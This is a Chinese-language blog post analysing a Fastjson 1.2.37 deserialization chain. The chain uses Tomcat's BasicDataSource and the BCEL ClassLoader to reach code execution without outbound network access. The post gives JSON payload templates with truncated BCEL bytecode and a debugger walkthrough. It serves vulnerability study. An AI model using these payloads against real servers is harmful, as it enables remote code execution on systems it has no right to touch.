BasicDataSource

如果目标服务器没有外网、无法反连,自然就用不了JdbcRowSetImpl利用链这种JNDI注入的利用方式,而TemplatesImpl利用链虽然原理上也是利用了 ClassLoader 动态加载恶意代码,但是需要开启Feature.SupportNonPublicField,并且实际应用中其实不多见,这里就引出BasicDataSource,我们可以直接在Payload中直接传入字节码并且不需要出网,不需要开启特殊的参数,适用范围较广,目标需要引入tomcat依赖,虽说也是一种限制,但还算是比较常见的。

环境搭建

fastjson1.2.37

<dependencies>
    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>1.2.37</version>
    </dependency>

需要引入Tomcat相关的包:
BasicDataSource类在旧版本的 tomcat-dbcp 包中,对应的路径是 org.apache.tomcat.dbcp.dbcp.BasicDataSource。所以相关MVN 依赖写法

<!-- https://mvnrepository.com/artifact/org.apache.tomcat/dbcp -->
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>dbcp</artifactId>
    <version>6.0.53</version>
</dependency>

在Tomcat 8.0之后包路径有所变化,更改为了 org.apache.tomcat.dbcp.dbcp2.BasicDataSource,所以构造PoC的时候需要注意一下,相关MVN依赖写法

<!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-dbcp -->
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-dbcp</artifactId>
    <version>9.0.8</version>
</dependency>

poc

这里poc可以分成两种,JSON.parseObject()parse(),因为parseObject() 会额外的将 Java 对象转为 JSONObject 对象,即调用 JSON.toJSON(),在处理过程中会调用所有的 setter 和 getter 方法,所以poc中少一步嵌套的操作

parse()

{
    {
        "x":{
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$..."
        }
    }: "x"
}

PoC中的细节

两层{}

先是将 {“@type”: “org.apache.tomcat.dbcp.dbcp2.BasicDataSource”……} 这一整段放到JSON Value的位置上,之后在外面又套了一层 “{}”。之后又将 Payload 整个放到了JSON 字符串中 Key 的位置上,为什么要这样做呢。

其实看完下面的分析就能理解这是因为需要触发 BasicDataSource.getConnection() 方法。由于FastJson中的 JSON.parse() 会识别并调用目标类的 setter 方法以及某些满足特定条件的 getter 方法,然而 getConnection() 并不符合特定条件,所以正常来说在 FastJson 反序列化的过程中并不会被调用。

原PoC中很巧妙的利用了 JSONObject对象的 toString() 方法实现了突破。JSONObject是Map的子类,在执行toString() 时会将当前类转为字符串形式,会提取类中所有的Field,自然会执行相应的 getter 、is等方法。

所以在 {“@type”: “org.apache.tomcat.dbcp.dbcp2.BasicDataSource”……} 这一整段外面再套一层{},反序列化生成一个 JSONObject 对象并放在 JSON Key 的位置上,在 JSON 反序列化的时候,FastJson 会对 JSON Key 自动调用 toString() 方法,从而顺带执行了下面的东西

BCEL

BCEL的全名是Apache Commons BCEL,Apache Commons项目下的一个子项目,包含在JDK的原生库中。我们可以通过BCEL提供的两个类 Repository 和 Utility 来利用:Repository 用于将一个Java Class先转换成原生字节码,当然这里也可以直接使用javac命令来编译java文件生成字节码;Utility 用于将原生的字节码转换成BCEL格式的字节码
生成的BCEL格式大概如下:

$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$......

将这种格式的字符串,作为“字节码”传入new ClassLoader().loadClass(code).newInstance();将会被实例化,当我们在Fastjson反序列化中构造出这种链,将会造成反序列化漏洞

这里的使用思路是:如果 classname 中包含 $$BCEL$$ ,这个 ClassLoader 则会将$$BCEL$$后面的字符串按照BCEL编码进行解码,作为Class的字节码,并调用 defineClass() 获取它的Class 对象。

JSON.parseObject()

{
        "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
        "driverClassLoader": {
            "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        "driverClassName": "$$BCEL$$$l$8b......"
}

parseObject() 会额外的将 Java 对象转为 JSONObject 对象,即调用 JSON.toJSON(),在处理过程中便会调用所有的 setter 和 getter 方法。所以对于 JSON.parseObject()来说,直接传入构造的Payload便能触发。

断点分析

漏洞的触发点在com.alibaba.fastjson.JSON.parse

在这里插入图片描述跟进handleResovleTask

在这里插入图片描述
跟入JSONPath.eval

在这里插入图片描述跟进此处的eval后
在这里插入图片描述继续跟进getPropertyValue
在这里插入图片描述
再跟进到JavaBeanSerializer
在这里插入图片描述跟进FieldSerializer
在这里插入图片描述

继续跟进get,达到最终触发点method.invoke
在这里插入图片描述而这里的javaObject正是BasicDataSouce,这里再看一下BasicDataSouce的构造链,直接来到org.apache.tomcat.dbcp.dbcp2.BasicDataSource
BasicDataSource.getConnection()
-> createDataSource() ​
-> createConnectionFactory()
在这里插入图片描述
这里driverClassNamedriverClassLoader都是可控的,由用户输入,我们指定ClassLoader为com.sun.org.apache.bcel.internal.util.ClassLoader,设置ClassName为BCEL…这种格式后,在newInstance方法执行后被实例化。因为第二个参数initial为true,Class.forName() 在动态加载类时便会进行初始化,并且这里在动态加载的过程中会执行 static 代码段,最终达到命令执行的结果。

为什么指定这个ClassLoader
简单来说它会从 classname 中提取 Class 的 bytecode 数据;
说的细点就是:如果此时 classname 中包含 $$BCEL$$ ,这个 ClassLoader 便会将$$BCEL$$后面的字符串按照BCEL编码进行解码,作为Class的字节码,并调用 defineClass() 去获取这个 Class 对象;
举个实例:将 classname 赋值为 经过BCEL编码的字节码(假设对应的类为Evil.class),我们将需要执行的代码写在 Evil.class 的 static 代码块中即可。

Java动态类加载,当FastJson遇到内网
一起来看看Fastjson的三种漏洞利用链

GitHub 加速计划 / fastj / fastjson
3
1
下载
FASTJSON 2.0.x has been released, faster and more secure, recommend you upgrade.
最近提交(Master分支:5 个月前 )
c942c834 - 1 年前
5bc4709b - 1 年前
Logo

旨在为数千万中国开发者提供一个无缝且高效的云端环境,以支持学习、使用和贡献开源项目。

更多推荐